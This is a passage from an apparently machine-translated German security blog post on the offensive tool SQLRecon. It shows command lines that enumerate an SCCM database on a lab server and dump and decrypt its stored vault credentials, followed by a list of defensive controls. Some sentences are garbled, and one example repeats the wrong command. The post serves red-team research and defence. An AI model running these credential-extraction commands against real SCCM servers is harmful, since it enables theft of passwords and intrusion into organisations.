SQLRecon.exe /a:WinToken /h:MECM01 /m:databases läuft

Abbildung 29: Auflisten von Datenbanken auf MECM01

Wie im obigen Screenshot zu sehen ist, CM_KAW  existiert die Datenbank , die höchstwahrscheinlich für SCCM auf diesem Server konfiguriert ist.

SCCM-Module werden immer mit dem Buchstaben  eingeleitets , und diese Module benötigen den Namen der SCCM-Datenbank, gegen die Sie Befehle ausgeben möchten. Im folgenden Beispiel stelle ich eine Verbindung zum CM_KAW  Datenbank auf  herMECM01  als KAWALABS\mssccm_svc  Konto und gebe den sUsers  Befehl ein. Dieses Modul listet alle Principals auf, die für die Anmeldung am SCCM-Server konfiguriert sind.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Abbildung 30: Auflistung aller Benutzer, die sich über die SQL Server-Datenbank via SCCM anmelden können

Es ist auch möglich, die in Aufgaben aufzulisten, die in SCCM mit konfiguriert wurdensTaskList  Modul.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Abbildung 31: Auflistung der in SCCM konfigurierten Aufgaben über die SCCM SQL Server-Datenbank

SCCM benötigt in der Regel Zugangsdaten, die zur Authentifizierung von Systemen oder Ressourcen in einer Umgebung verwendet werden, um Softwarepakete zu bereitstellen oder andere verschiedene Aktionen des SCCM durchzuführen. Mit dem sCredentials  Modul können wir eine Liste der verschlüsselten Anmeldeinformationen erhalten.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

Abbildung 32: Abrufen von Zugangsdaten über die SCCM SQL Server-Datenbank

Im Screenshot oben können wir sehen, dass Zugangsdaten in einem Tresor gespeichert wurden, und das ist die Anmeldedaten für KAWALABS\mssccm_svc  Konto ausgeben kann.

Mit der Logik von Adam Chester( @_xpn_) ist es möglich, SCCM-Vault-Anmeldedaten zu entschlüsseln und das Cleartext-Passwort für Vault-Konten zu erhalten. Hierfür sind lokale Administratorrechte auf dem SCCM-Server erforderlich. Im folgenden Screenshot verwende ich das sDecryptCredentials  Konto zum Entschlüsseln der im Tresor hinterlegten Zugangsdaten für KAWALABS\mssccm_svc  Konto ausgeben kann.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

Abbildung 33: Entschlüsselung gesicherter SCCM-Anmeldedaten

Um zu verhindern, dass Angreifer SQL Server missbrauchen, können Verteidiger bei der Implementierung von Sicherheitskontrollen einen mehrschichtigen Ansatz verfolgen. Zuallererst empfehle ich dir, die offiziellen Microsoft-Anleitungen zu den Best Practices für SQL Server-Sicherheit zu lesen.

Der nächste Schritt sollte die Beratung zu Prävention, Erkennung und Schadensbegrenzung imSQLRecon  Wiki, das einige ausgezeichnete defensive Überlegungen enthält. Ich habe einige der wichtigsten zu implementierenden Kontrollen herausgesucht und sie unten aufgeführt.

Die folgenden Sicherheitskontrollen sollten für die Implementierung auf Netzwerkebene berücksichtigt werden.

• Stellen Sie sicher, dass die Netzwerkrouten zu den SQL-Servern berücksichtigt und auf eine autorisierte Gruppe von Systemen oder Subnetzen beschränkt wurden. Workstations benötigen nur selten die Möglichkeit, direkt mit SQL-Servern zu kommunizieren. Erwägen Sie, den Zugriff auf TCP 1433 zu blockieren, falls möglich.
• Überprüfen Sie, dass Netzwerkprotokollierung- und Überwachungstools SQL-Abfragen erfassen, die Netzwerkgrenzen überschreiten. Es wäre ungewöhnlich, wenn eine Workstation SQL Queries an einen SQL Server sendet.

Arbeitsstationen und Server in der Umgebung.

• Validieren Sie, dass hostbasierte Sicherheitskontrollen, wie z. B. Endpoint Detection and Response (EDR), aktiviert sind und dass die Produktsignaturen regelmäßig auf dem neuesten Stand sind.
• Verteidiger sollten sicherstellen, dass .NET Framework v4.8 auf Windows-Endgeräten installiert ist und dass das verwendete hostbasierte Sicherheitsprodukt AMSI für .NET unterstützt. Dies ermöglicht das Scannen von .NET-Assemblies im Speicher.
• Aktivieren oder konfigurieren Sie eine Lösung zur Zulassungsliste von Anwendungen, um unsignierte Binärdateien zu verhindern, wie z. B. SQLRecon direkt auf dem Endgerät ausgeführt werden.

• Stellen Sie sicher, dass die Richtlinien auf dem zugrunde liegenden Windows-Server-Betriebssystem eingehalten wurden. Installieren Sie nur die notwendigen SQL-Datenbank-Komponenten.
• Stellen Sie sicher, dass SQL Server in die Patch-Management-Richtlinie des Unternehmens einbezogen werden und dass Patches regelmäßig auf den SQL Server angewendet werden.
• Erwägen Sie, die Einschränkung oder Entfernung des BUILTIN\Users  Kontos von der Authentifizierung gegenüber SQL Server-Instanzen.
• Folgen Sie dem Prinzip der geringsten Privilegien bei der Konfiguration von Rollen auf Benutzerkonten. Dieser Grundsatz sollte auch auf das Dienstkonto angewendet werden, das den SQL Server startet.
• Entfernen Sie unnötige SQL-Dienstprinzipalnamenzuordnungen.
• Verwenden Sie starke Passwörter für jedes lokale Konto, wie zum Beispiel das sa  Konto.
• Log, zentral aufnehmen und prüfen Sie die Anmeldeereignisse des SQL Server. Netwrix hat einen großartigen Blog darüber geschrieben, wie dies erreicht werden kann.
• Verschlüsseln Sie sensible Inhalte. Dadurch werden Datensätze vor Offenlegung geschützt, selbst wenn der SQL-Server kompromittiert wird.
• Evaluieren Sie Links zwischen SQL-Servern und ermitteln Sie die Art der Authentifizierung, die den Link bindet. Wenn möglich, verwenden Sie den aktuellen Sicherheitskontext für die Authentifizierung und nicht den Kontext der sa  Konto.
• Prüfen Sie alle konfigurierten Identitäten und ermitteln Sie deren Anforderungen.
• Wenn Sie Azure SQL-Datenbanken verwenden, stellen Sie sicher, dass Microsoft Advanced Threat Protection aktiviert und konfiguriert ist, um Warnungen zu senden.

Angriffe auf SQL Server sind in der heutigen Cybersicherheitslandschaft weiterhin aktuell. Gegner entwickeln ihre Techniken ständig weiter, um defensive Kontrollen zu umgehen, und nutzen dabei zunehmend unterstützende Dienste wie SQL Server. Diese Angriffe sind immer raffinierter und heimtückischer geworden und setzen häufig weniger gebräuchliche Techniken ein, um traditionelle Sicherheitsmaßnahmen zu umgehen.

Durch den Missbrauch von SQL Server können sich Gegner unbefugten Zugriff auf sensible Daten verschaffen, Datenbanken manipulieren und sogar ganze Systeme gefährden. Die Folgen solcher Angriffe können schwerwiegend sein und zu data breaches, finanziellen Verlusten und Schäden am Ruf einer Unternehmen führen.

Um das Risiko dieser Angriffe zu mindern, müssen Unternehmen unbedingt ihre SQL Server-Konfigurationen überprüfen und bewährte Sicherheitsverfahren anwenden. Darüber hinaus sollten Organisationen in Sicherheitslösungen investieren, die Echtzeitüberwachung, Anomalieerkennung und Verhaltensanalysefunktionen bieten. Diese Lösungen können helfen, Angriffe effektiver zu erkennen und darauf zu reagieren, wodurch die potenziellen Auswirkungen auf entscheidend Daten und Systeme minimiert werden. Durch proaktive Maßnahmen zur Sicherung von SQL Server Umgebungen können Unternehmen das Risiko, Opfer dieser Angriffe zu werden, deutlich reduzieren und ihre wertvollen Assets schützen.

Sie können immer die neueste stabile Version von SQLRecon  auf der X-Force Red Github-Seite  finden.

Wenn Sie an der Black Hat Las Vegas teilnehmen und mehr erfahren möchten, können Sie meine Sitzung besuchen: Abusing Microsoft SQL Server with SQLRecon am Donnerstag, den 10. August um 1:00 Uhr PT.